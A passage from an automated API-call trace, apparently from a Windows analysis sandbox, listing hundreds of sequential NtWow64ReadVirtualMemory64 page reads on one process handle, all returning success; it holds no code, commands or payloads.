| out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.051] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.052] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.052] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.052] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.052] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.053] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.053] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.053] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.053] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.054] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.054] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.054] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.054] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.055] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.055] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.055] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0810000, Buffer=0x7fff, BufferSize=0x2560000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.055] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0811000, Buffer=0x7fff, BufferSize=0x2561000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.056] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0812000, Buffer=0x7fff, BufferSize=0x2562000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.056] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0813000, Buffer=0x7fff, BufferSize=0x2563000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.056] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0814000, Buffer=0x7fff, BufferSize=0x2564000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.056] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0815000, Buffer=0x7fff, BufferSize=0x2565000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.057] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0816000, Buffer=0x7fff, BufferSize=0x2566000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.057] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0817000, Buffer=0x7fff, BufferSize=0x2567000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.057] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0818000, Buffer=0x7fff, BufferSize=0x2568000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.057] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0819000, Buffer=0x7fff, BufferSize=0x2569000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.058] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081a000, Buffer=0x7fff, BufferSize=0x256a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.058] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081b000, Buffer=0x7fff, BufferSize=0x256b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.058] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081c000, Buffer=0x7fff, BufferSize=0x256c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.058] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081d000, Buffer=0x7fff, BufferSize=0x256d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.059] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081e000, Buffer=0x7fff, BufferSize=0x256e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.059] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf081f000, Buffer=0x7fff, BufferSize=0x256f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.059] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0820000, Buffer=0x7fff, BufferSize=0x2570000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.059] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0821000, Buffer=0x7fff, BufferSize=0x2571000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.059] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0822000, Buffer=0x7fff, BufferSize=0x2572000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.060] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0823000, Buffer=0x7fff, BufferSize=0x2573000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.060] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0824000, Buffer=0x7fff, BufferSize=0x2574000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.060] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0825000, Buffer=0x7fff, BufferSize=0x2575000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.060] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0826000, Buffer=0x7fff, BufferSize=0x2576000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.061] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0827000, Buffer=0x7fff, BufferSize=0x2577000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.061] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0828000, Buffer=0x7fff, BufferSize=0x2578000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.061] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0829000, Buffer=0x7fff, BufferSize=0x2579000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.062] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082a000, Buffer=0x7fff, BufferSize=0x257a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.062] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082b000, Buffer=0x7fff, BufferSize=0x257b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.062] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082c000, Buffer=0x7fff, BufferSize=0x257c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.062] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082d000, Buffer=0x7fff, BufferSize=0x257d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.063] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082e000, Buffer=0x7fff, BufferSize=0x257e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.063] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf082f000, Buffer=0x7fff, BufferSize=0x257f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.063] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0830000, Buffer=0x7fff, BufferSize=0x2580000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.063] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0831000, Buffer=0x7fff, BufferSize=0x2581000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.064] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0832000, Buffer=0x7fff, BufferSize=0x2582000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.064] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0833000, Buffer=0x7fff, BufferSize=0x2583000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.064] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0834000, Buffer=0x7fff, BufferSize=0x2584000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.064] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0835000, Buffer=0x7fff, BufferSize=0x2585000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.065] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0836000, Buffer=0x7fff, BufferSize=0x2586000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.065] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0837000, Buffer=0x7fff, BufferSize=0x2587000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.065] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0838000, Buffer=0x7fff, BufferSize=0x2588000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.065] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0839000, Buffer=0x7fff, BufferSize=0x2589000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.066] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083a000, Buffer=0x7fff, BufferSize=0x258a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.066] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083b000, Buffer=0x7fff, BufferSize=0x258b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.066] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083c000, Buffer=0x7fff, BufferSize=0x258c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.066] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083d000, Buffer=0x7fff, BufferSize=0x258d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.067] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083e000, Buffer=0x7fff, BufferSize=0x258e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.067] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf083f000, Buffer=0x7fff, BufferSize=0x258f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.067] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0840000, Buffer=0x7fff, BufferSize=0x2590000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.067] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0841000, Buffer=0x7fff, BufferSize=0x2591000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.068] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0842000, Buffer=0x7fff, BufferSize=0x2592000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.068] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0843000, Buffer=0x7fff, BufferSize=0x2593000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.068] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0844000, Buffer=0x7fff, BufferSize=0x2594000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.068] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0845000, Buffer=0x7fff, BufferSize=0x2595000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.069] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0846000, Buffer=0x7fff, BufferSize=0x2596000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.069] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.069] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.069] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.070] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.070] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.070] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.070] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.071] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.071] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.071] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.071] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.072] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.072] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.072] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.072] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.073] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, 